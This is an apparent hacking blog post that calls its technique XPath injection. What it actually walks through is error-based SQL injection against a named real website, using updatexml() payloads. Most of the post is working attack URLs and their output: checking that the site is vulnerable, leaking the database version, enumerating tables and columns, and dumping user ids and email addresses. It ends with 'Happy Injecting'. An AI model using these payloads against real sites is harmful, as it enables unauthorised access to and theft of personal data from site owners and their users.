Similar to SQL Injection, XPath Injection attacks occur when a web site uses user-supplied information to construct an XPath query for XML data. By sending intentionally malformed information into the web site, an attacker can find out how the XML data is structured, or access data that he may not normally have access to. He may even be able to elevate his privileges on the web site if the XML data is being used for authentication (such as an XML based user file).
Querying XML is done with XPath, a type of simple descriptive statement that allows the XML query to locate a piece of information. Like SQL, you can specify certain attributes to find, and patterns to match. When using XML for a web site it is common to accept some form of input on the query string to identify the content to locate and display on the page. This input must be sanitized to verify that it doesn't mess up the XPath query and return the wrong data.
XPath is a standard language; its notation/syntax is always implementation independent, which means the attack may be automated. There are no different dialects as it takes place in requests to the SQL databeses.
Because there is no level access control it's possible to get the entire document. We won't encounter any limitations as we may know from SQL injection attacks.
Checking Vulnerability:-
http://www.pixheaven.net/galerie_us.php?id=22'
Vulnerable :D
Get Version:-
http://www.pixheaven.net/galerie_us.php?id=22 and updatexml(null,concat(0x3a,version()),null)--
RESULT :: XXPATH syntax error: ':5.1.73-1.1+squeeze+build0+1-log'
Get Tables:-
http://www.pixheaven.net/galerie_us.php?id=22 and updatexml(null,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),null)--
first table is for alphonse wow..
Result :: XPATH syntax error: ':alphonse'
increase the limit 0,1 to 1,1 -- 2,1 -- 3,1 to get other tables
now lets enumerate its columns
http://www.pixheaven.net/galerie_us.php?id=22 and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name=0x616c70686f6e7365 limit 0,1)),null)--
result ::XPATH syntax error: ':id'
for rest of columns just keep changing limit
like this
http://www.pixheaven.net/galerie_us.php?id=22 and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name=0x616c70686f6e7365 limit 1,1)),null)--
http://www.pixheaven.net/galerie_us.php?id=22 and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name=0x616c70686f6e7365 limit 2,1)),null)--
http://www.pixheaven.net/galerie_us.php?id=22 and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name=0x616c70686f6e7365 limit 3,1)),null)--
Now last step : Dumping Data out of it
http://www.pixheaven.net/galerie_us.php?id=22 and updatexml(null,concat(0x3a,(select concat(id,0x203a3a20,email) from alphonse limit 0,1)),null)--
do same for all other columns..
Happy Injecting ! ;)

0 comments:
Post a Comment